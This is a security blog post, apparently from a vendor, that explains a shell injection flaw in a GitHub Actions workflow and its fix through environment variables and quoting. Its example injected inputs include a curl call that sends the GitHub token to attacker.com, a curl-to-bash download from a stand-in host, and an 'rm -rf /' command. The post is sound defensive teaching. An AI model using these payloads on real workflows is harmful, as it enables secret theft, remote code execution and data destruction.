Back to Blog
high SEVERITY7 min read

How Shell Injection Happens in GitHub Actions and How to Fix It

A GitHub Actions workflow file contained a critical shell injection vulnerability where user-controlled inputs were directly interpolated into a shell command using `${{ }}` syntax. By moving the untrusted data into environment variables and properly quoting them, the vulnerability was eliminated while preserving all functionality.

O
By Orbis AppSec
Published August 29, 2026Reviewed August 29, 2026

Answer Summary

This is a shell injection vulnerability (CWE-94/CWE-78) in a GitHub Actions workflow file (`action.yml`) where `github` context variables were directly interpolated into a `run:` step command. Attackers could inject arbitrary shell commands through user inputs like `inputs.file` or `inputs.label`. The fix moves all untrusted inputs into environment variables and quotes them properly in the shell command, preventing interpretation of special characters as shell syntax.

Vulnerability at a Glance

cweCWE-94 (Improper Control of Generation of Code), CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixMove untrusted inputs to environment variables and quote them in the shell command
riskRemote code execution, secret theft, repository compromise
languageYAML (GitHub Actions Workflow)
root causeDirect interpolation of untrusted `github` context data into shell commands without sanitization
vulnerabilityShell Injection via GitHub Actions Variable Interpolation

How Shell Injection Happens in GitHub Actions and How to Fix It

Introduction

In this GitHub Actions workflow configuration file, a high-severity shell injection vulnerability was discovered in action.yml at line 57. The vulnerability existed in the run: step where multiple user-controlled inputs were directly interpolated into a shell command using GitHub Actions' ${{ }} expression syntax:

- run: ${{ github.action_path }}/convert.sh ${{ inputs.file }} ${{ inputs.label }}

This pattern is deceptively simple but dangerous. While ${{ }} is GitHub's expression language, it doesn't protect against shell metacharacters in the values it evaluates. An attacker could craft a malicious value for inputs.file or inputs.label containing shell metacharacters like ;, |, $(), or backticks to inject arbitrary commands. This would execute on the GitHub runner with full access to the runner's environment, including any secrets configured for the workflow.

The Vulnerability Explained

The Vulnerable Pattern

The vulnerable code in action.yml:57 looked like this:

- run: ${{ github.action_path }}/convert.sh ${{ inputs.file }} ${{ inputs.label }}
  env:
    ORIENTATION: ${{ inputs.orientation }}
    ARROW_DIRECTION: ${{ inputs.arrow-direction }}
    ARROW_LENGTH: ${{ inputs.arrow-length }}

The problem is that inputs.file and inputs.label are user-controlled values—they come from whoever invokes this action. These values are directly embedded into the shell command string without any quoting or escaping.

Why This Is Dangerous

When the GitHub runner executes this step, the shell (bash) interprets the entire command line. If an attacker provides a value like:

inputs.file = "document.txt; curl https://attacker.com/steal?secret=${{ secrets.GITHUB_TOKEN }}"

The resulting command becomes:

/path/to/convert.sh document.txt; curl https://attacker.com/steal?secret=ghp_xxxxxxxxxxxx /path/to/convert.sh

The semicolon terminates the legitimate command, and the curl command executes with access to the runner's environment and secrets. The attacker has successfully stolen the GitHub token.

Real-World Attack Scenario

Imagine this action is used in a workflow that processes pull requests. An attacker opens a PR where the action is triggered, passing a malicious file parameter:

file: "README.md; rm -rf /; echo"

Or more subtly, using command substitution:

file: "$(curl http://attacker.com/malware.sh | bash)"

The runner would execute this injected code with the permissions of the GitHub Actions runner, potentially:
- Stealing secrets and credentials
- Modifying repository contents
- Exfiltrating source code
- Compromising the CI/CD pipeline for downstream attacks

The Fix

The fix involves three key changes to safely handle untrusted input:

  1. Move inputs to environment variables using the env: section
  2. Quote environment variable references with double quotes to prevent word splitting and globbing
  3. Pin action versions to commit SHAs for additional supply chain security (bonus hardening)

Before (Vulnerable)

- run: ${{ github.action_path }}/convert.sh ${{ inputs.file }} ${{ inputs.label }}
  env:
    ORIENTATION: ${{ inputs.orientation }}
    ARROW_DIRECTION: ${{ inputs.arrow-direction }}
    ARROW_LENGTH: ${{ inputs.arrow-length }}

After (Fixed)

- run: "$ACTION_PATH/convert.sh \"$FILE\" \"$LABEL\""
  env:
    ACTION_PATH: ${{ github.action_path }}
    FILE: ${{ inputs.file }}
    LABEL: ${{ inputs.label }}
    ORIENTATION: ${{ inputs.orientation }}
    ARROW_DIRECTION: ${{ inputs.arrow-direction }}
    ARROW_LENGTH: ${{ inputs.arrow-length }}

Why This Fix Works

  1. Environment variables are not interpreted by the shell: When you set FILE: ${{ inputs.file }}, the GitHub Actions runtime evaluates ${{ inputs.file }} and passes the literal string value to the environment. The shell doesn't re-interpret it.

  2. Double quotes prevent word splitting and special character interpretation: By wrapping "$FILE" in double quotes, the shell treats the entire value as a single argument, even if it contains spaces or special characters. The value is passed literally to the script.

  3. Escaping inner quotes: When passing the variable to the script as an argument, we escape the quotes: \"$FILE\". This ensures that if the value itself contains quotes, they're handled correctly.

  4. Action path is now also protected: By moving ${{ github.action_path }} to an environment variable ACTION_PATH and referencing it as "$ACTION_PATH", we prevent potential path traversal or injection through the action path itself.

Testing the Fix

With the fix in place, even if an attacker provides:

FILE = "document.txt; curl https://attacker.com/steal"

The shell receives:

/path/to/convert.sh "document.txt; curl https://attacker.com/steal" "label"

The entire string—including the semicolon and curl command—is passed as a single argument to convert.sh. The script receives the literal string document.txt; curl https://attacker.com/steal as the filename, which likely doesn't exist, and the injection fails safely.

Prevention & Best Practices

1. Never Interpolate User Input Directly into run: Commands

This is the golden rule. Any value that comes from:
- inputs.* (action inputs)
- github.event.* (webhook events)
- secrets.* (though these shouldn't be user-controlled)
- External APIs or user-provided data

...should be treated as untrusted and passed through environment variables.

2. Always Quote Environment Variables in Shell Scripts

When referencing an environment variable in a shell command, always use double quotes:

# Good
"$VARIABLE"

# Bad
$VARIABLE

This prevents word splitting and glob expansion.

3. Escape Quotes in Arguments

If you're passing quoted environment variables as arguments, escape the inner quotes:

# Good
"$SCRIPT" "$ARG1" "$ARG2"

# Also good (if the script expects quoted arguments)
"$SCRIPT" \"$ARG1\" \"$ARG2\"

4. Use Static Analysis Tools

Use Semgrep or similar static analysis tools to detect this pattern automatically:

semgrep --config=p/github-actions action.yml

Semgrep rule yaml.github-actions.security.run-shell-injection.run-shell-injection specifically detects this vulnerability pattern.

5. Pin Action Versions to Commit SHAs

As a bonus hardening measure, the fix also updated action version references:

# Before
- uses: actions/setup-node@v4

# After
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4

This prevents supply chain attacks where a major version tag could be updated with malicious code.

6. Review GitHub Actions Security Documentation

GitHub provides excellent guidance on this topic. Always review:
- GitHub Actions security best practices
- GitHub Actions contexts documentation
- The principle of least privilege for secrets and permissions

Key Takeaways

  • Never directly interpolate ${{ }} expressions containing user input into run: commands—the ${{ }} syntax doesn't prevent shell injection.

  • Environment variables are the safe transport mechanism—moving untrusted data to env: and referencing it in the shell command prevents interpretation of shell metacharacters.

  • Quoting matters"$VAR" is safe; $VAR is not. Always quote environment variable references in shell commands.

  • The github.action_path context is also untrusted—treat it like any other potentially dangerous input and move it to an environment variable.

  • Static analysis catches this pattern—Semgrep and similar tools can automatically detect and flag shell injection vulnerabilities in GitHub Actions workflows before they reach production.

How Orbis AppSec Detected This

Source: GitHub Actions context variables (github.action_path, inputs.file, inputs.label) in action.yml

Sink: Direct interpolation in the run: command at line 57 where ${{ github.action_path }}/convert.sh ${{ inputs.file }} ${{ inputs.label }} is executed

Missing control: No environment variable indirection; no quoting of interpolated values; direct shell command execution with untrusted input

CWE: CWE-94 (Improper Control of Generation of Code), CWE-78 (Improper Neutralization of Special Elements used in an OS Command)

Fix: Moved all untrusted inputs to environment variables in the env: section and referenced them with proper quoting in the run: command: "$ACTION_PATH/convert.sh \"$FILE\" \"$LABEL\""

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Shell injection vulnerabilities in GitHub Actions workflows are particularly dangerous because they execute with access to the runner's full environment, including secrets and credentials. The fix is straightforward: treat all user-controlled input as untrusted, move it to environment variables, and reference those variables with proper quoting in your shell commands.

This is a defensive hardening measure that removes an "exploit primitive"—a code pattern that, while not independently exploitable in all contexts, could be chained with other weaknesses by automated exploit-development tools. By proactively removing such patterns, teams raise the bar against increasingly capable automated attack tools.

The change preserves all legitimate behavior while eliminating the injection vector. If you maintain GitHub Actions workflows, review them for this pattern and apply the same fix: environment variables + proper quoting = secure shell commands.


References

Frequently Asked Questions

What is shell injection in GitHub Actions?

Shell injection occurs when user-controlled data is directly interpolated into a `run:` step command, allowing attackers to inject arbitrary shell syntax and commands that execute on the runner.

How do you prevent shell injection in GitHub Actions?

Never directly interpolate `github` context variables into `run:` commands. Instead, pass them through environment variables using the `env:` section and reference them with proper quoting like `"$ENVVAR"`.

What CWE is this vulnerability?

This is primarily CWE-94 (Improper Control of Generation of Code) and CWE-78 (Improper Neutralization of Special Elements used in an OS Command).

Is using `${{ }}` syntax enough to prevent shell injection?

No. The `${{ }}` syntax is a GitHub Actions expression language feature, but it doesn't prevent shell metacharacters in the *value* from being interpreted by the shell. You must use environment variables with proper quoting.

Can static analysis detect this vulnerability?

Yes. Tools like Semgrep can detect direct interpolation of `github` context variables in `run:` steps and flag them as potential shell injection vulnerabilities.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #7

Related Articles

high

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

A high-severity command injection vulnerability was discovered in Vite's `shared.js` file where the `gitExec()` function used `execSync()` with string concatenation, allowing potential shell metacharacter injection. The fix replaces `execSync()` with `spawnSync()` and passes Git arguments as an array instead of a shell string, eliminating the injection vector entirely.

critical

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the shell-quote npm package, where unescaped line terminators could allow attackers to execute arbitrary code. The fix upgrades shell-quote from version 1.8.2 to 1.9.0 using npm overrides to ensure the patched version is used throughout the dependency tree, closing this dangerous attack vector.

high

How command injection happens in Node.js child_process calls and how to fix it

A high-severity command injection risk was discovered in `npm/holidaytw/lib/installer.js` where the `verifyBinaryExecutes` function passed a user-influenced `binPath` argument directly to `spawnSync` without sanitization. The fix replaces `spawnSync` with `execFileSync` combined with `path.resolve()` and explicit `shell: false`, eliminating the shell interpretation attack surface. This proactive hardening raises the bar against automated exploit-chaining tools even in local CLI contexts.

high

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

A high-severity command injection vulnerability was discovered in `bump-changed-extensions.js` where the `execSync()` function was called with unsanitized input, potentially allowing attackers to execute arbitrary commands. The fix replaces the vulnerable `execSync()` pattern with `spawnSync()` using an argument array, eliminating shell interpolation entirely and preventing command injection attacks.

high

How Shell Injection via os.system() happens in Python and how to fix it

A shell injection vulnerability in TensorFlow's DELF dataset download script allowed attackers who controlled the `data_dir` parameter to execute arbitrary shell commands by injecting metacharacters into `os.system()` calls. The fix replaces all four `os.system()` invocations with `subprocess.run()` using argument lists, eliminating shell interpretation entirely. This change closes a high-severity code execution path in production ML infrastructure.

high

How insecure-use-string-copy-fn happens in C and how to fix it

A high-severity vulnerability was identified in `plugin/bin/install.c` where `strcpy()` and `strncpy()` were used to handle path strings without proper bounds checking or guaranteed null-termination. The fix replaces `strcpy()` with direct character assignment and `strncpy()` with `snprintf()`, eliminating both buffer overflow and missing null-terminator risks in the plugin installation workflow.